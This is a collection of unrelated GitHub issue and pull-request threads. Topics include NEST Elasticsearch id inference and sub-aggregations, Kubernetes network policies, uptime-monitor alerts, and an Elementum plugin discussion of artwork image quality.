text:
Id property inference

Referring to this page: http://nest.azurewebsites.net/nest/index-type-inference.html

You can control which propery holds the Id:
[ElasticType(IdProperty="CrazyGuid")]
public class Car
{
    public Guid CrazyGuidId { get; set; }
}

This will cause the the id inferring to happen on CrazyGuid instead of Id.

Is the mismatch deliberate or is this just a typo: should the attribute refer to CrazyGuidId, or should the property name be CrazyGuid? There are other typos on the page so it's hard to tell ¯_(ツ)_/¯
I am having trouble getting the ID from items in ES using this method, using v1.4.2

EDIT: I came across this line on the same page:

Whenever an object is passed that needs to specify an id (i.e index, bulk operations) the object is inspected to see if it has an Id property and if so, that value will be used.

So the ID property only inferred from the type when using a .Id() search descriptor? If so, what's the recommended way of getting the _id property for documents from the Search api?

Ok, resolved my issue
Given
class Poco {
public string Id {get;set;}
public string Prop {get;set;}
}

var response = _client.Search<Poco>(x => x
                .Index(index)
                .Type(type)
                .Filter(f => f.Term(poco => poco.Prop)));

Instead of using response .Documents, use:
var results = response.Hits.Select(hit =>
            {
                var run = hit.Source;
                run.Id = hit.Id;
                return run;
            });

Easy enough. But I think the ID should always be inferred if [ElasticType(IdProperty="CrazyGuid")] is used

+1 same issue, agree with " I think the id property should always be inferred and the value of _id transferred over, if [ElasticType(IdProperty="Uid")] is used."
There also seems to be an issue with id inference with the Bulk api.

This has always been deliberate, but I'm open to reevaluate this decision in 2.0.
The only time we infer Id is when writing out to elasticsearch but not when something comes back.

has there been any progress made on this?
var response = client.Search<Poco>(searchDescriptor);

var pocoListWithIds = response.Hits.Select(h =>
                {
                    h.Source.Id = h.Id;
                    return h.Source;
                }).ToList();

works fine but is not testable given the .Select is an extension method.

This is something that we will be implementing in NEST 2.0 but that won't be backported to 1.x.

Revisiting this I think i am OK with the current implementation:
IdProperty is about automatically inferring the id from objects when they need to be passed to urls or e.g bulk meta headers.
IdProperty refers to a property in your POCO that should ideally get stored in elasticsearch (and ideally as not analyzed for string id's). So when you are reading the data your id's are part of the POCO.
Something I missed in your original comment:
[ElasticType(IdProperty="Uid")]
class Poco {
public string Uid {get;set;}
public string Prop {get;set;}
}

var response = _client.Search<Poco>(x => x
                .Index(index)
                .Type(type)
                .Filter(f => f.Term(poco => poco.Prop)));

you mention:

Instead of using response.Documents, where the Uid prop of each would be null

Uid is not not null if an uid property exists wonder whats going on there in your mapping.
I'm +1 on keeping the current behaviour @russcam @gmarz do you feel differently?

The uid property doesn't exist in my mapping, imo it shouldn't because it is already part of the document metadata. To reiterate my point, I expected this feature to be a "transparent" way to get the ID of a document without having to have an id field stored in the document metadata.
As it stands, this feature is not useful for me, exactly because the read case differs from the write case.
If I put this document into ES using this mechanism:
[ElasticType(IdProperty="Uid")]
class Poco {
    [JsonIgnore] // alternatively to this attribute mapping could be explicit and dynamic mapping disabled
    public string Uid {get;set;}
    public string Prop {get;set;}
}

_nest.Index<Poco>(x => x.Index(i).Type(t).Document(new Poco{ Uid = "banana", Prop = "apple" });

And then I retrieved it again:
var poco2 = _nest.Get<Poco>(x => x.Index(i).Type(t).Id("banana");

I would not have the same object (poco1.Uid == banana, poco2.Uid == null).
What use cases does the current behaviour serve? It's not what I expected based on the documentation, and it doesn't seem all that useful for me if I have to inspect the Hit<> only to get its ID.

Upon further discussion on this issue, we've decided to keep the current implementation for the time being. We feel it would be potentially confusing if the Id property on the Poco were populated with data that is not contained within the _source field in Elasticsearch; A Poco instance is a representation of the source document.
I'll add documentation for NEST 2.x demonstrating how to retrieve the _id from the metadata using the .Hits property on the response and set a property on the Source as demonstrated above.

Hello @russcam Can you address us to this part of the docs?  found myself working around this problem by manually setting the ID of the source object before updating it but maybe there is a better way?

Thanks for the bump @gerosalesc, I haven't added a section to the documentation yet but will do so :smile: The way to do it is given by @rikkit  above
var response = client.Search<Poco>(searchDescriptor);

var pocoListWithIds = response.Hits.Select(h =>
                {
                    h.Source.Id = h.Id;
                    return h.Source;
                }).ToList();

response.Documents is simply a shortcut to response.Hits.Select(h => h.Source).ToList(), so the example here is to map the _id from hits metadata to an Id property on each document source

hi, @russcam, i want to argue with you =)
If Poco is a representation of source document, why don't you remove functionality looks like:
[ElasticType(IdProperty="Uid")].
On th one hand Poco can be source + _id, but on the other hand we have to use this programming crutch.
I think that it is very common to make Id setter private\protected.

I agree with @sove001.
Currently there is an inconsistency in the usage of the id property.
There is no reason against adding this improvement.

authors: 0063292 Mpdreamz gerosalesc irfanmms olee rikkit russcam sove001

repo: elastic/elasticsearch-net


text:
Sub aggregations are not included in the query

NEST/Elasticsearch.Net version:
7.15.1
Elasticsearch version:
7.15.0
.NET runtime version:
.Net 5
Operating system version:
Windows 11 Pro Insider Preview Build 22489.1000
Description of the problem including expected versus actual behavior:
Sub aggregations are not being included in the query sent to Elasticsearch
Steps to reproduce:
SearchRequest<SomethingSearchModel> searchRequest = new SearchRequest<SomethingSearchModel>();

searchRequest.Query = CreateQuery(); // This creates a QueryContainer with some base filtering.

// This is a reusable query.
QueryContainer MustHaveACity(QueryContainerDescriptor<SomethingSearchModel> descriptor) =>
    descriptor
        .Bool(b => b
            .Must(m => m
                .Exists(e => e
                    .Field(f => f.CityId))));

const string testAggName = nameof(testAggName);

const string subAggName= nameof(subAggName);

searchRequest.Aggregations = new AggregationDictionary
{
    {
        testAggName,
        new AggregationContainer
        {
            Filter = new FilterAggregationDescriptor<SomethingSearchModel>()
            .Filter(x =>
                MustHaveACity(x)
                &&
                x.Terms(ft => ft
                    .Field(f => f.Id)
                    .Terms(1))
            )
            .Aggregations(x => x
                .Terms(subAggName, xt => xt
                    .Field(f => f.CityId)))
        }
    }
}

ISearchResponse<SomethingSearchModel> searchResponse = await Client.SearchAsync<SomethingSearchModel>(searchRequest);

string debugInformation = searchResponse.DebugInformation;

Expected behavior
A clear and concise description of what you expected to happen.
The generated query should contain the sub aggregation named subAggName
{
    "track_total_hits": true,
    "aggs": {
        "testAggName": {
            "filter": {
                "bool": {
                    "must": [
                        {
                            "exists": {
                                "field": "CityId"
                            }
                        },
                        {
                            "terms": {
                                "Id": [
                                    1
                                ]
                            }
                        }
                    ]
                }
            },
// Should contain the following section
            "aggs": {
                "subAggName": {
                    "terms": {
                        "field": "CityId"
                    }
                }
            }
        }
    },
    "from": 0,
    "query": {
        "bool": {
            "must": [
                {
                    "term": {
                        "State": {
                            "value": 3
                        }
                    }
                }
            ]
        }
    },
    "size": 0
}

Provide ConnectionSettings (if relevant):
Provide DebugInformation (if relevant):
Valid NEST response built from a successful (200) low level call on POST: /redacted/_search?pretty=true&error_trace=true&typed_keys=true
# Server indicated deprecations:
- 299 Elasticsearch-7.15.0-79d65f6e357953a5b3cbcc5e2c7c21073d89aa29 "Elasticsearch built-in security features are not enabled. Without authentication, your cluster could be accessible to anyone. See https://www.elastic.co/guide/en/elasticsearch/reference/7.15/security-minimal-setup.html to enable security."
# Audit trail of this API call:
 - [1] HealthyResponse: Node: http://localhost:9200/ Took: 00:00:00.0695336
# Request:
{
    "track_total_hits": true,
    "aggs": {
        "testAggName": {
            "filter": {
                "bool": {
                    "must": [
                        {
                            "exists": {
                                "field": "CityId"
                            }
                        },
                        {
                            "terms": {
                                "Id": [
                                    1
                                ]
                            }
                        }
                    ]
                }
            }
        }
    },
    "from": 0,
    "query": {
        "bool": {
            "must": [
                {
                    "term": {
                        "State": {
                            "value": 3
                        }
                    }
                }
            ]
        }
    },
    "size": 0
}
# Response:
{
    "took": 24,
    "timed_out": false,
    "_shards": {
        "total": 1,
        "successful": 1,
        "skipped": 0,
        "failed": 0
    },
    "hits": {
        "total": {
            "value": 6591,
            "relation": "eq"
        },
        "max_score": null,
        "hits": []
    },
    "aggregations": {
        "filter#testAggName": {
            "doc_count": 0
        }
    }
}

# TCP states:
  Established: 116
  CloseWait: 4
  TimeWait: 6

# ThreadPool statistics:
  Worker:
    Busy: 2
    Free: 32765
    Min: 8
    Max: 32767
  IOCP:
    Busy: 0
    Free: 1000
    Min: 8
    Max: 1000

Hi, @MoazAlkharfan. Apologies for missing this and not providing a response on this issue. You may have solved this already but based on the JSON you are expecting, it looks like you need the sub-agg under the "testAggName" aggregation.
Your code adds the aggregation to the filter directly which I believe is the issue that's causing it to be ignored. I think what you want here looks more like this:
searchRequest.Aggregations = new AggregationDictionary
{
    {
        testAggName,
        new AggregationContainer
        {
            Filter = new FilterAggregationDescriptor<SomethingSearchModel>()
                .Filter(x =>
                    MustHaveACity(x)
                    &&
                    x.Terms(ft => ft
                        .Field(f => f.Id)
                        .Terms(1))),

            Aggregations = new TermsAggregation(subAggName)
            {
                Field = Infer.Field<SomethingSearchModel>(f => f.CityId)
            }
        }
    }
};

Mixing and matching the descriptor + object initializer can be a bit tricky, but I believe you can simplify this a bit as:
searchRequest.Aggregations = new FilterAggregation(testAggName)
{
    Filter = MustHaveACity(new QueryContainerDescriptor<SomethingSearchModel>())
        && new TermQuery() { Field = Infer.Field<SomethingSearchModel>(f => f.Id), Value = 1 },
    Aggregations = new TermsAggregation(subAggName)
    {
        Field = Infer.Field<SomethingSearchModel>(f => f.CityId)
    }
};

Does that help answer your question?

I'm just following up @MoazAlkharfan to see if the above answered your question / helped you move forward?

I'm going to close this issue to avoid it becoming stale. Please comment if you have further information so we can assist and re-open if neccesary.

source: gharchive/issue

authors: MoazAlkharfan stevejgordon

license_type: permissive

license_source: github-api


text:
Externalize number of tries until es rest api is availiable parameter

as pointed out here there is no way to alter the number of tries we attempt to contact ES to make sure the cluster is online, nor the sleep time between each wait. It would make sense to externalize one of these, I think.

I am not taking this issue over just yet, I am only assigning myself to raise awareness in my mind. If a community member would like to take this over, feel free and I can help shepherd it along.

Nice one @hub-cap many thanks.

IMHO the current timeout of 2 minutes is sufficient. If there are clusters that take longer than that to start this needs to be investigated separately.
Furthermore, we have recently added a new mode that allows users to manage Elasticsearch clusters independently of benchmark execution. Here is the intended execution flow:

Install all Elasticsearch nodes with the install subcommand, then start them using the start subcommand
Run the benchmark with the pipeline benchmark-only
Stop all nodes using the stop subcommand

As each step is a separate invocation of Rally, there is nothing that prohibits additional steps in between, e.g. a dedicated check or a sleep in between 1 and 2.
Therefore, I propose we don't change this and close this issue instead. Any thoughts on this @elastic/es-perf?

As @danielmitterdorfer mentioned above, I think adding additional configurability for the pipelines that do the installation/launching is not a great use of time, as we'll be steering towards the separate steps for cluster management and the benchmark-only pipeline.

Thanks @danielmitterdorfer and @dliappis . Since there is a way of managing startup independently of benchmarking, that goes some way towards removing the problem. Some people ask for benchmark measurements to include full cluster start-up time so in that case it wouldn't help. But for the purpose I originally asked about, and given we can hack the source code to change the timeout if needed, it isn't a problem.

Thanks for the feedback @spayne-undo. Let's close this in that case then.

authors: danielmitterdorfer dliappis hub-cap spayne-undo

repo: elastic/rally


text:
Allow function-level invocation of integration-test.sh.

Use the first argument as the name of a function in integration-test.sh to call directly, in order to:

speed up testing during development
generalize release-docker.sh's invocation

@drawlerr do you think we can move forward with this PR based on the review from @dliappis?

Just to clarify; the above comment was an idea for an enhancement that could also slightly simplify the code base. If the implementation is too complex, IMHO, it can be part of a separate PR.

source: gharchive/pull-request

authors: danielmitterdorfer dliappis drawlerr


text:
apps: missing np for rook-ceph

What this PR does / why we need it:
Add missing np for rook-ceph-csi-detect-version
Which issue this PR fixes: fixes #1329
Definition of Done

[x] the network policies are fixed for the new rook-ceph version and regular ops changes can be performed without issues
[x] enable rook network policy only for exoscale environments in the apps init.sh script
[x] the network policies should support the latest and older versions of rook, see rook
[x] Also, with rook network policies enabled seems that we cannot create any PVCs, see this pipeline run.

Public facing documentation PR (if applicable)

Special notes for reviewer:
Add a screenshot or an example to illustrate the proposed solution:
Checklist:

[x] Added relevant notes to WIP-CHANGELOG.md
[x] Proper commit message prefix on all commits
[ ] Updated the public facing documentation
Is this changeset backwards compatible for existing clusters? Applying:

[x] is completely transparent, will not impact the workload in any way.
[ ] requires running a migration script.
[ ] will create noticeable cluster degradation.
E.g. logs or metrics are not being collected or Kubernetes API server
will not be responding while upgrading.
[ ] requires draining and/or replacing nodes.
[ ] will change any APIs.
E.g. removes or changes any CK8S config options or Kubernetes APIs.
[ ] will break the cluster.
I.e. full cluster migration is required.

Chart checklist (pick exactly one):

[x] I upgraded no Chart.
[ ] I upgraded a Chart and determined that no migration steps are needed.
[ ] I upgraded a Chart and added migration steps.

Pipeline config (if applicable)
If you change some config options (e.g. add/rename variable or change the default value) you may need to update the config used by the pipeline in pipeline/config.

Did not see any issues creating PVCs

I did a quick test and I also see the PVC creation issues.
I applied the NP, and tried to create a pvc in wc default ns, it didn't work:
failed to provision volume with StorageClass "rook-ceph-block": rpc error: code = DeadlineExceeded desc = context deadline exceeded
I removed the np and tried again and it worked

@crssnd Okay i just tried createing PVCs in sc. But I do not see that there should be any difference. But i will take another look at it

I see traffic being blocked goring to csi-rbd-plugin-provisioner, if that helps
I am using this image for the operator: rook/ceph:v1.10.5

@crssnd I found the provisioner issue.

authors: crssnd robinAwallace

repo: elastisys/compliantkubernetes-apps


text:
apps: upgrade metrics-server to 3.10.0

What this PR does / why we need it:
Upgrade metrics-server to 3.10.0
Which issue this PR fixes (use the format fixes #<issue number>(, fixes #<issue_number>, ...) to automatically close the issue when PR gets merged): fixes #
Public facing documentation PR (if applicable)

Special notes for reviewer:
Add a screenshot or an example to illustrate the proposed solution:
Checklist:

[x] Added relevant notes to WIP-CHANGELOG.md
[x] Proper commit message prefix on all commits
[ ] Updated the public facing documentation
Is this changeset backwards compatible for existing clusters? Applying:

[x] is completely transparent, will not impact the workload in any way.
[ ] requires running a migration script.
[ ] will create noticeable cluster degradation.
E.g. logs or metrics are not being collected or Kubernetes API server
will not be responding while upgrading.
[ ] requires draining and/or replacing nodes.
[ ] will change any APIs.
E.g. removes or changes any CK8S config options or Kubernetes APIs.
[ ] will break the cluster.
I.e. full cluster migration is required.

Chart checklist (pick exactly one):

[ ] I upgraded no Chart.
[x] I upgraded a Chart and determined that no migration steps are needed.
[ ] I upgraded a Chart and added migration steps.

Pipeline config (if applicable)
If you change some config options (e.g. add/rename variable or change the default value) you may need to update the config used by the pipeline in pipeline/config.

any changes in metrics that could affects the alerts or dashboards?
any other changes that we should be aware?

do we want the {{ .Values.kubernetesPSP }} flag set in https://github.com/elastisys/compliantkubernetes-apps/blob/main/helmfile/values/metrics-server.yaml.gotmpl#L3 ?

do we want the {{ .Values.kubernetesPSP }} flag set in https://github.com/elastisys/compliantkubernetes-apps/blob/main/helmfile/values/metrics-server.yaml.gotmpl#L3 ?

Added it now
Thx

authors: crssnd lucianvlad


text:
Ingress documentation

Dont know exactly were this documentation should go? Is this generic explanation what we are looking for?

Successfully merging this will close https://github.com/elastisys/compliantkubernetes-kubespray/issues/25, as per discussion with @tordsson.
If someone believes this to be incorrect, a new issue will have to be opened and the acceptance criteria clearly specified.

LGTM. Can you fix the pipeline and merge?

authors: cristiklein llarsson vanneback

repo: elastisys/compliantkubernetes


text:
Caching proxy example

Added an example project for a caching proxy server. Example is great for apt-get and windows update caching proxy for packer.

Thanks, looks great.
But wouldn't it better to have it in its own repository? It looks pretty sophisticated.

Its relatively simple and defiantly not full featured. I hacked it together to support Packer. So I am hoping someone will use it for inspiration to create a proper implementation.
I think this is a common use case as well and I would love to see it included as part of the examples. Good projects like yours need more contributers.

authors: elazarl taliesins

repo: elazarl/goproxy

license_source: bigquery


text:
🛑 Instagram is down

In 9454b7e, Instagram (https://www.instagram.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Instagram is back up in 07ddac6.

repo: eldikra/monitoreo

license: MIT


text:
[fix] Fixed bug in direct XML parsing of UPF v2 PPs

Fixed bug when parsing UPF files without NLCC. When there is no core correction, the default json behavior is to allocate an array for it filled with zeros. So far, the pugixml parser gave a size zero vector, leading to a crash. This PR fixes it.

cscs-ci run default

cscs-ci run

repo: electronic-structure/SIRIUS


text:
click is not working

当我在nuxt3中配置 modules:[''@element-plus/nuxt''],页面中的按钮不再工作。

无法复现，请提供一个可以复现的 demo

repo: element-plus/element-plus-nuxt


text:
The Burndown Chart Moves Horizontally on Mouse-Over

I'm viewing the site on Chrome in Windows 7, and the burndown chart moves horizontally when the width of the date gets too big. Everything seems fine in the early months until you go from August to September. Let me know if you need more clarification.

https://github.com/elementary/mvp/pull/991

authors: Lukewh dahenson

repo: elementary/mvp

license: mit


text:
Add email receipts for stripe checkout.

Should fix issue #340

Closing in favour of #456

authors: emersion funnylookinhat


text:
Travel Overhaul

React-based Travel and Scout area display that update without a page reload.
- Travel

Map are generated from the database and can be set with dynamic tile size, pixel size, and container size.
Locations are pulled from the database and are linked to the map id.
Locations support both background colors and images or just blank.
Locations can lock out PVP or AI fights.
Locations can have increased regeneration rates.
"Portals" can be created to link a map to another. Can be done dynamically or by admin in the future.
Move direction by clicking tiles next to the player's icon.
Keyboard shortcut support for arrows and w, a, s, d.
Delay can be added for various reasons if needed including Death, PVP or AI fight, or just moving.

-Scout Area

Refreshes every 500ms and displays players nearby depending on both scout range and stealth.
Attack links are auto-generating every X minutes.

- Misc

X.Y was changed to X.Y.Z to support multiple maps. Currently everything would remain the same.
All menu options are now shown regardless of  location and are hidden by CSS.

#107 #142 #141

This is looking pretty solid, great job with the UI code in particular! I left a bunch of comments although not all of them are blockers - Let me know how you want to handle things

authors: AlvinValens levimeahan

repo: elementum-games/shinobi-chronicles


text:
🛑 Tautulli is down

In 4812c51, Tautulli (https://tautulli.lepallec.tv) was down:

HTTP code: 403
Response time: 93 ms

Resolved: Tautulli is back up in f1ca0c0.

repo: elepallec/upptime


text:
🛑 Plex is down

In cfb0f39, Plex (https://plex.lepallec.tv/web/index.html) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Plex is back up in 25ba1aa.


text:
🛑 MCU - GAF is down

In 9f039a6, MCU - GAF (http://produccion.cdeluruguay.gob.ar/GAF/forms/login.jsp) was down:

HTTP code: 0
Response time: 0 ms

Resolved: MCU - GAF is back up in dcfca2b.

repo: elfoche/monitoreo


text:
🛑 MCU - Owncloud is down

In 6094a99, MCU - Owncloud (https://cloud.cdeluruguay.gob.ar/login?redirect_url=/apps/dashboard/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: MCU - Owncloud is back up in 6720dc9 after 22 minutes.


text:
🛑 UNER - Diaguita is down

In 2dc0ad1, UNER - Diaguita (https://diaguita.uner.edu.ar) was down:

HTTP code: 502
Response time: 1223 ms

Resolved: UNER - Diaguita is back up in 9c9a32a after 6 minutes.


text:
[Request] Add the possibility of choosing the quality of the artwork

As the title says, it would be very good if this possibility existed. It's not just about the visuals, but it has a lot of influence on the speed of creation of the list. I participated in the improvement of the tmdb helper and the implementation of this option. You have a link with the discussion. The plug-in fen, which has a similar purpose as an elementum, also has this option and works fast as lightning. Currently, elementum pulls artwork of the highest quality, which affects performance, and it is especially pronounced on android devices and custom skins. Tmdb api supports this feature, fanart does not. But you can also do a combination of artwork from tmdb and fanart. Read the discussion a bit when you have time. I think you will be surprised at the difference in performance. 😉
https://github.com/jurialmunkey/plugin.video.themoviedb.helper/issues/617
https://github.com/jurialmunkey/plugin.video.themoviedb.helper/pull/638

Hi @elgatito @antonsoroko. I see you are working hard on the new update, and I am very happy about it. Elemntum has been one of my favorite addons for years. Is there any chance that this request of mine will be taken into consideration? I think it will mean a lot in the speed of opening any list. Thanks in advance.

@matke-84

If I understand correctly, this change will improve performance only for skins that use script.module.metadatautils.
I checked 3 standard skins that I used (Confluence, Mimic-LR, Aeon Nox: SiLVO) - I do not see it in their dependencies.
So for standard skins - maybe there will be some minor speed improvement because of smaller download size and maybe faster resize if skin uses even smaller size than the smallest size from your proposed sizes.

We use w1280 for tmdb for all image types. Not sure if it is big resolution. See https://github.com/elgatito/elementum/blob/efdcb9af863f3fca5cf63afe3c80da8249cc0ccb/tmdb/show.go#L507 for more technical details.

For fanart tv we use what they provide, since they have only 1 size. But you already know that.
But unlike that tmdb helper we completely override all tmdb images with images from fanart tv if you enabled setting to use fanart tv, which makes more sense, imho.

But I think we can add simple option to change this default w1280 to different size, without changes like mixing images from tmdb and fanart tv.
Personally I do not care about images, latest changes that I made were to simplify and standardize the image related code and to remove any image related discrepancies between trakt and tmdb lists (code was different , now it is the same).
Thus it would be nice to have some pre-defined sizes, instead of defining out own sizes.
I guess we can re-use sizes from https://github.com/jurialmunkey/plugin.video.themoviedb.helper/pull/638#issuecomment-1031073847
Does it sound ok?

@antonsoroko
No. Nothing to do with metadatautils. My skin no longer uses metadatautils. The bottom line is not to use the highest resolution images when it is not necessary. Fanart images, posters and clearlogos are very often very high resolution from tmdb by default. Most skins do not need such a high resolution. This is to be noticed when you scroll through movies and tv shows, that all fanarts are displayed with delay. Images from fanart.tv serve mainly as a fallback for tmdb images because there is a much larger base on fanart.tv. Fanart.tv also offers some artwork that tmdb doesn't offer (tmdb only offers posters, fanart and clearlogo) so it is used for that as well. I see now that you downsized to w1280 but I think it was 4k for fanart some time ago. In principle, the scheme from the tmdb helper can be used. Just a note about the tmdb artworks. A lot of fanarts have text with roles, synopsis... on them and it looks very ugly. Try using it backdrop without iso_639_1 value for fanarts and backdrop with iso_639_1 value for landscape art. Unfortunately, fanart.tv is sometimes slow, but it is necessary and you have to leave it as an option when you turn on fanart.tv to display all other artworks (banners, cleararts, disk...). If I can do anything else, feel free to contact me.

@matke-84

it was w1280 for last 3.5 years, before that it was w500, see https://github.com/elgatito/elementum/commit/a4a3cc807e327cc333686c97d623eec6f0b7cf31
Elementum actually prefer images with iso_639_1 because elementum has language settings and supports localization. I do not think this will be changed. But maybe @elgatito has different opinion.
As I wrote above, if fanart.tv is enabled, Elementum  uses fanart.tv for everything, not only for fanarts (but it can use tmdb as fallback, e.g. if fanart.tv does not have image at all or does not have image for user's language). If I understood correctly the "issue"  you linked - tmdbhelper uses fanart.tv only for fanarts. I do not think we should do the same, but again, maybe elgatito has different opinion.
Btw, what is the name and repo of your skin?
So in the end, in your opinion as skin developer, does it make sense to use images smaller than w1280? If yes, we can add such option.

This request requires properly rewritten Art selection.
Taking in mind Trakt is not providing art at all, we first select Art from TMDB, and then if Fanart is available and configured - we overwrite TMDB Art with Fanart.
And we always check for language in Fanart Arts, for any type of Art.
I don't see anything bad with implementing a proper Art selection, but this needs a good refactoring and clean setup for each Art type.

But just for "choosing size of image" - we can make simple change - set of sizes (borrowed from link i posted above) that user can select. Instead of hardcoded w1280, I mean.

But just for "choosing size of image" - we can make simple change - set of sizes (borrowed from link i posted above) that user can select. Instead of hardcoded w1280, I mean.

Yes, I support proposed setting to select quality that would translate into different sizes, depending on the type of Art. (as done in tmdbhelper)

@matke-84 please test this build -
plugin.video.elementum-v0.1.99-23-gd8f7ef7.windows_x64.zip
i used the following sizes:
https://github.com/elgatito/elementum/pull/111/files#diff-2a10e699183778675910d9b2aa96b31a37981b5c0c9df1e256e582d45ed76dd5R29-R31
	//                                  Original    High    Medium  Low
	ImageQualitiesPoster    = []string{"original", "w780", "w500", "w185"}
	ImageQualitiesFanArt    = []string{"original", "w1280", "w780", "w300"}
	ImageQualitiesThumbnail = []string{"original", "w780", "w500", "w185"}

you can see all available sizes here https://github.com/elgatito/elementum/pull/111
so if something does now look good - please tell me and i will change those values.
(also this build will post log messages into log file with the sizes that were used.)

Hi @antonsoroko. This is great news. First of all, thank you. I tested it. Here is my suggestion.
        //                                  Original    High    Medium  Low
	ImageQualitiesPoster    = []string{"original", "w780", "w500", "w342"}
	ImageQualitiesFanArt    = []string{"original", "w1280", "w1280", "w780"}
	ImageQualitiesThumbnail = []string{"original", "w780", "w500", "w342"}

Any resolution below w342 is too poor quality even for smaller screens. I see that you use a poster for thumbs, so that's what I wrote to you. In TMDb helper I think backdrop is used for thumbnail so it took me a while to figure it out. :-)
I think you forgot about clearlogo (logo). It also supports the TMDb api. In that case, it would go like this.
       //                                  Original    High    Medium  Low
   ImageQualitiesClearLogo    = []string{"original", "w500", "w500", "w300"}

This is why I mentioned that iso_639_1 is not used for fanart. It looks great for landscape thumb, but the fanart itself is pointless with this inscription. In TMDb helper how it is solved (it should be this).
https://github.com/jurialmunkey/plugin.video.themoviedb.helper/commit/e622468dadc91dcc353817223e942c3bca2348f5
Again, I'm just talking about the backdrop (fanart). I just don't know how it was solved in the elementum. I would certainly separate fanart and landscape thumbs images.
I'm here for anything you need.

@burekas7 i guess you also might be interested in these new Art changes. at least you will not be surprised after new version will come out.

@antonsoroko
First of all, thank you for the effort and time you invest together with @elgatito to improve our favorite plugin.

Great, thank you.
I asked because tmdb helper uses fanart (backdrop) for thumbs in movies and tv shows. If it skin used, for example, squared shape, an image without text looks better than a poster (very often the titles are cut as well as the pictures themselves.). Now that I've read what you wrote, I'm not sure how he achieved it but I noticed that some other plugins use the same as tmdb helper.
TMDb helper

Elementum

P.S. Speaking of episode thumbs, is it also covered by these changes, does the quality change with the settings change?

Take care of one thing about the logo. Kodi doesn't support svg so it should skip somehow. Some movies and tv shows don't display the logo for this reason. Example, tv show Supernatural: https://www.themoviedb.org/tv/1622-supernatural/images/logos
As resolved in the tmdb helper: https://github.com/jurialmunkey/plugin.video.themoviedb.helper/commit/9273c1a871974c2877180fb9afb8a953fcd859cd
Yes, I mean landscape. My mistake, I wanted to write thumbs, then I remembered that it was landscape, so both remained. :-)
Yes, landscape must have text, fanart doesn't.

then i do not understand where is "fanart" on your screenshot?

I wrote on the picture. :-) But as far as I can see, you have taken care of it now. Thanks.
5. And thanks again. ;-)
6. I have to look at this. Give me little time to look and test everything with a few skins.
You could send it to me for Android, so I can test it on a Xiaomi TV stick.

@matke-84

tmdb helper uses fanart (backdrop) for thumbs in movies and tv shows.

looks like this is very specific for the skin you use. that's why i never have seen such issue.
and Kodi official wiki says that thumbs is used ONLY for episodes.
so looks like your skin for some reason use thumbs instead of fanart - which is incorrect, in my opinion. why? because thumbnail is basically a screenshot  (that's why it makes sense only for episodes).
and even this "tmdb helper" had to use a hack for this view - they set thumbs=fanart.
standard skins does not use "thumbs" for movies/shows as i can see.
even view called "Thumbs" in titan mod/titan bingie mod use "landscapes" but not "thumbs".
but that "Square" view in those titan skins uses thumbs.

my guess is that "Square" view was originally designed for episodes, but now you use it for movies/shows. which is not correct, imho.
ideally, you should use different "views" for different video types.
elementum supports that, click "Default view for ..." in context menu of any item to set default view. Also check elementum settings - bottom of appearance tab - it has all "Default view for ..." options.
but okay, i also will set thumbs=fanart. but this is a hack.
this is the result:
titan mod

titan bingie mod

P.S. Speaking of episode thumbs, is it also covered by these changes, does the quality change with the settings change?

yes. i use new "image quality settings" for everything.
you can read the code changes in PR - it is quite human readable, no need to know golang.

thanks for info! fixed.

I wrote on the picture. :-)

looks like i was mistaken about purpose of fanart and landscape. i thought that landscape must be used as background and fanart as "icon", but looks it it is vice versa.
thanks.

please test this new build:

windows https://disk.yandex.by/d/20qkkSdga6RHFA
android tv https://disk.yandex.by/d/6sRgkYf8qmPxRQ
it also will log sizes and images used for different art - so if unsure about some image - you can check log file.

@antonsoroko

I think you are absolutely right. I immediately changed this in my skin. Thanks. I didn't think about this at all. I'm not sure why plugins use this hack then. As far as I've noticed all the ones I use. There must be some reason.
I tested with yesterday's build and the banners have no alternative. I would leave it as it was. If there is no real banner, the skin decides what will be used. On this way, if you force some artwork for banner, it looks very strange in some skins, trying to fit an image into a very specific banner container.
Thats why TMDb helper uses fanart.tv as a fallback for artworks that don't exist in the tmdb database. It exists as an option, so it can be turned on. The actual tmdb helper uses three display modes:

only tmdb default like elementum now
only fanart - elementum has same option
tmdb and fallback fanart.tv when there are no artwoks from tmdb - this would be good if possible with elementum also.

FanArt/Banner/Landscape/Poster/Thumbnail = Still

I think the poster when entering the episode level should show the poster of the season or the poster of the whole series if there is no season poster and not thumbs of an episode. It's like that in other plugins and it looks better.
I haven't had time to test it on Android yet, but I'll do that today, so I'll report the results. ;-)

@matke-84
1.

There must be some reason.

maybe they just do not want to explain to people why thumbnail is only for episodes :-)
or they have not read Kodi wiki.
or there is some old/historical reason that is obsolete now, but hacky code still exists.
or there is undocumented reason. since i do not develop skins - i dunno :-)
anyway, now we also use this hack. test latest build plz.

I tested with yesterday's build

please test the latest build, otherwise it is confusing to understand what is not okay from your point of view.

the banners have no alternative. I would leave it as it was.

not sure what you mean. banner logic have not changed!
we set banner to backdrop, and if TMDB has more backdrops - then we also do addAvailableArtwork() for banner (like for fanart and others).
see current version of code here:
https://github.com/search?q=repo%3Aelgatito%2Felementum+item.Art.AvailableArtworks.Banner+item.Art.Banner&type=code
and see my changes here https://github.com/elgatito/elementum/pull/111/files (search on page for item.Art.AvailableArtworks.Banner and item.Art.Banner)

I think the poster when entering the episode level should show the poster of the season or the poster of the whole series if there is no season poster and not thumbs of an episode.

you can see the code
	if episode.StillPath != "" {
		item.Art.FanArt = ImageURL(episode.StillPath, fanArtQuality)
		item.Art.Banner = ImageURL(episode.StillPath, fanArtQuality)
		item.Art.Landscape = ImageURL(episode.StillPath, fanArtQuality)
		item.Art.Thumbnail = ImageURL(episode.StillPath, thumbnailQuality)
		item.Art.Poster = ImageURL(episode.StillPath, posterQuality)
		item.Art.TvShowPoster = ImageURL(episode.StillPath, posterQuality)
	} else {
		// Use the season's artwork as a fallback
		season.SetArt(show, item)
	}

i think i already do exactly what you said.
(and in season i have:
	// Use the show's artwork as a fallback
	show.SetArt(item)

)

tmdb and fallback fanart.tv when there are no artwoks from tmdb - this would be good if possible with elementum also.

please create new issue about this. i have no plans to implement this feature in this PR since it is not connected to "choosing the quality of the artwork".
our conversation is already diverted to TMDB->Kodi art mapping, which is also not connected to "choosing the quality of the artwork".
let's keep things separated, otherwise it is hard to keep track of them and implement them without messing thing up.
thank you.

Everything I write below has been tested with the latest version.
